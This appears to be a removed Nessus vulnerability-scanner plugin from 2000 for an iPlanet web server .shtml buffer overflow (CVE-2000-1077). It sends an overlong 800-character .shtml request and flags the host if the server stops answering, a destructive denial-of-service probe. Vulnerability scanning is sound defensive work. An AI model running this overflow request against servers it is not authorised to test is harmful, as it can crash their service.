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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10538);
- script_bugtraq_id(1848);
- script_version ("$Revision: 1.14 $");
- script_cve_id("CVE-2000-1077");
-
- name["english"] = "iWS shtml overflow";
- name["francais"] = "Overflow shtml dans iWS";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It is possible to make the remote iPlanet web server execute
- arbitrary code when requesting a too long .shtml file (with a name
- longer than 800 chars and containing computer code).
-
- An attacker may use this flaw to gain a shell on this host
-
- Solution : Disable server side parsing of HTML page (Content Management -> Parse HTML)
- Risk factor : High";
-
- desc["francais"] = "
- Il est possible de faire executer du code arbitraire au serveur
- iPlanet distant en demandant un fichier trop long dont le nom
- fini par .shtml (avec un nom > 800 caractΦres et contenant du
- code machine).
-
- Un pirate peut utiliser ce problΦme pour obtenir un shell sur
- cette machine.
-
- Solution : dΘsactivez l'option de parse HTML (Content Management -> Parse HTML)
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Web server buffer overflow";
- summary["francais"] = "DΘpassement de buffer dans un serveur web";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Gain a shell remotely";
- family["francais"] = "Obtenir un shell α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "httpver.nasl", "http_version.nasl");
- script_require_ports("Services/www",80);
- script_require_keys("www/iplanet");
- exit(0);
- }
-
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
- soc = http_open_socket(port);
- if(soc)
- {
- banner = get_http_banner(port:port);
- if(egrep(pattern:"^Server:.*Netscape-Enterprise", string:banner))
- {
- soc = http_open_socket(port);
- req1 = http_get(item:"/XXX.shtml", port:port);
- send(socket:soc, data:req1);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if(r)
- {
- soc = http_open_socket(port);
- if(soc)
- {
- req2 = http_get(item:string("/", crap(800), ".shtml"), port:port);
- send(socket:soc, data:req2);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if(!r)security_hole(port);
- }
- }
- }
- }
-
-
-
-
-